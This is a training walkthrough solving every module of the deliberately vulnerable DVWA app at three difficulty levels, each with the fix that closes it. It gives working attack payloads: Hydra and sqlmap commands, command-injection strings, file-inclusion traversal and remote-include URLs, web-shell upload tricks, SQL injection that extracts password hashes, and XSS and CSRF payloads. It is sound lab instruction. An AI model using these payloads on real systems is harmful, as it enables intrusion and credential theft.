DVWA Walkthrough: Every Module Solved at Low, Medium and High
Step-by-step DVWA solutions for brute force, command injection, CSRF, file inclusion, file upload, SQL injection, blind SQL injection, weak session IDs and all three XSS types, with why each level falls and how the Impossible level fixes it.
Part of our free Tools & Targets series. Hands-on guides to the vulnerable practice apps and the security tools you will use on the job. Pair it with our Build Your Own Cyber Lab series for the lab to run them in.
- Vulnerable practice apps: DVWA, bWAPP, Juice Shop, WebGoat, AI Goat and more
- DVWA walkthrough: every module solved at Low, Medium and High (you are here)
- OWASP Juice Shop: beginner and intermediate challenges solved
- WebGoat and bWAPP: key lessons solved
- Threat modeling your lab with OWASP Threat Dragon
- Nessus Essentials: vulnerability scanning your lab
- Snort and Suricata: network IDS and your first rules
- Splunk in your lab: install, forward Windows logs, search with SPL
- Wazuh deep dive: file integrity, vulnerability detection and custom rules
How to use this walkthrough
Try each module yourself first. When you are stuck, read only the level you are on. After solving, click View Source and compare it with the next level up - every "Medium" is a flawed fix for "Low", and Impossible shows the correct fix. Set the level under DVWA Security. Payloads below assume DVWA from the official Docker setup in part 1; paths can differ slightly between versions.
Brute Force
- Low: no lockout or rate limit. Capture the login request in Burp and use Intruder, or Hydra. The
adminpassword ispassword(it is in every common wordlist). Hydra needs your session cookie because the page is behind DVWA's login:
hydra -l admin -P /usr/share/wordlists/rockyou.txt <dvwa-host> -s 4280 http-get-form \
"/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: PHPSESSID=<your-session>; security=low:F=Username and/or password incorrect."- Medium: adds a two-second sleep on failure. It only slows the attack down; the same approach works.
- High: adds an anti-CSRF token (
user_token) that changes on every request, so each attempt must first fetch a fresh token - use a Burp macro or a short script, or Burp Intruder's "recursive grep" to carry the token forward. - Impossible / fix: account lockout after failed attempts, a random delay, and CSRF tokens. In real systems, add MFA and credential-stuffing detection.
Command Injection
The page pings an IP you enter by passing it to a shell.
- Low: no filtering.
127.0.0.1; whoami(Linux) runs a second command. - Medium: blacklists
&∧only. Use a pipe or a single ampersand:127.0.0.1 | whoamior127.0.0.1 & whoami. - High: a longer blacklist, but it removes
"| "(pipe followed by a space), not a bare pipe.127.0.0.1|whoamiworks. - Fix: never build shell commands from input. Validate that the input is exactly an IPv4 address (Impossible splits it into four numeric octets), or call the function directly without a shell.
CSRF
The password-change form uses GET and has no token.
- Low: craft a link that changes the victim's password when a logged-in admin opens it:
/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change. Host it in an<img src=...>tag on a page you control. - Medium: checks that the
Refererheader contains the server's hostname. Host your attack page on a path or filename that contains the DVWA hostname, or deliver it from within the same site (for example via the stored XSS module). - High: requires a per-session anti-CSRF token. Combine with XSS on the same origin: injected JavaScript fetches the form, reads
user_token, then submits the change. - Fix: anti-CSRF tokens, SameSite cookies, POST for state changes, and re-entering the current password (Impossible does this).
File Inclusion
The page parameter is passed to PHP's include.
- Low: local file inclusion with traversal:
?page=../../../../../../etc/passwd. Remote inclusion (?page=http://<your-host>/shell.txt) also works only ifallow_url_includeis enabled in PHP - DVWA's setup page shows its status. - Medium: strips
../andhttp://once, not recursively.....//....//....//....//etc/passwdcollapses back into../after the strip;hthttp://tp://does the same for the scheme. - High: only allows values starting with
file. Thefile://wrapper satisfies it:?page=file:///etc/passwd. - Fix: an allow-list of exact page names (Impossible hard-codes the permitted files).
File Upload
- Low: no checks. Upload a small PHP web shell (for example a one-line file that runs a command passed in a parameter) and browse to it under
/hackable/uploads/. - Medium: checks only the
Content-Typeheader the browser sends. Upload the PHP file and change the header toimage/jpegin Burp. - High: checks the file extension and that the content parses as an image. Append PHP code to a real JPEG and give it a
.jpgname; it uploads but will not execute as PHP on its own. Execute it by chaining with the File Inclusion module (?page=file:///var/www/html/hackable/uploads/shell.jpg, adjusting the path for your install). - Fix: re-encode images server-side, randomise stored names, store uploads outside the web root, and never execute uploaded files. Impossible re-creates the image to strip any payload.
SQL Injection
The User ID field is placed into a query.
- Low: string input, no escaping.
1' OR '1'='1returns every user. Extract credentials with a UNION (the query returns two columns):
1' UNION SELECT user, password FROM users#- Medium: a drop-down sends a numeric ID and the code escapes quotes - but the value is not quoted in the query, so no quote is needed. Intercept in Burp and set
id=1 UNION SELECT user, password FROM users. - High: input comes from a separate pop-up and the query adds
LIMIT 1. The same string payload with a trailing#comments out the limit:1' UNION SELECT user, password FROM users#. - The hashes are unsalted MD5; crack them with hashcat or John to see why that matters.
- Fix: parameterised queries (Impossible uses prepared statements and checks the ID is numeric).
SQL Injection (Blind)
The page only says whether the user exists, so you infer data one true/false question at a time.
- Low:
1' AND 1=1#says the user exists;1' AND 1=2#says missing - injection confirmed. Ask questions such as1' AND LENGTH(database())=4#, or time-based ones such as1' AND SLEEP(5)#. - Automate with sqlmap, passing your cookie:
sqlmap -u "http://<dvwa-host>:4280/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="PHPSESSID=<your-session>; security=low" --batch --dump -T users- Medium: numeric POST parameter - use
1 AND 1=1style payloads through Burp. - High: the ID is read from a cookie; inject there.
- Fix: prepared statements, as above.
Weak Session IDs
Click Generate several times and look at the dvwaSession cookie.
- Low: a counter (1, 2, 3...) - trivially predictable.
- Medium: the current Unix timestamp - predictable if you know roughly when it was issued.
- High: the MD5 hash of a counter - looks random, but hashing a predictable value is still predictable.
- Fix: use the framework's cryptographically random session IDs. Impossible hashes random data with a strong function.
XSS (Reflected)
- Low:
<script>alert(document.cookie)</script>in the name field. - Medium: removes
<script>with a case-sensitive replace.<ScRiPt>alert(1)</ScRiPt>or<img src=x onerror=alert(1)>. - High: a regex strips any form of the word "script", but event handlers survive:
<img src=x onerror=alert(1)>. - Fix: context-aware output encoding (Impossible uses
htmlspecialchars), plus a Content Security Policy.
XSS (Stored)
- Low:
<script>alert(1)</script>in the message field; it runs for every visitor. - Medium: the message is sanitised, but the name field only strips
<script>. Its length limit is enforced by the browser (maxlength) only - remove it in developer tools or edit the request in Burp, then use<ScRiPt>alert(1)</ScRiPt>. - High: use the name field again with
<img src=x onerror=alert(1)>. - Use Clear Guestbook between attempts.
- Fix: encode on output for every field, and validate length server-side.
XSS (DOM)
The language drop-down writes the default URL parameter into the page with JavaScript.
- Low:
?default=<script>alert(1)</script> - Medium: blocks
<script, so break out of the<select>and use an event handler:?default=</select><img src=x onerror=alert(1)> - High: a server-side allow-list of languages. The URL fragment (after
#) is never sent to the server but is still read by the page:?default=English#<script>alert(1)</script> - Fix: never write untrusted values into the DOM as HTML; use
textContent, and validate on the client side too.
Other modules
Newer DVWA versions add modules such as CSP Bypass, JavaScript, Authorisation Bypass, Open HTTP Redirect and Cryptography. The same method applies: read the source at each level, find the assumption the developer made, and break it.
Map it to the theory
Our free Haxplain lessons cover SQL injection, XSS, command injection, CSRF, directory traversal and file upload with diagrams and detections.
Keep it in the lab
These apps are deliberately vulnerable. Run them only on an isolated lab network or bound to localhost, never on a server reachable from the internet, and only use these techniques against systems you own or are authorised to test.
Next step
Part 3 moves to a modern app: OWASP Juice Shop.
Sources & References
Daniel Agrici
CEH, Security+, PenTest+
Daniel is the founder of CyberCertPrep. With a background in penetration testing and security consulting, he has passed 8 cybersecurity certifications and writes about exam strategies and career development.
Ready to start practicing?
86 certifications. 157,000+ questions. 20 free per cert.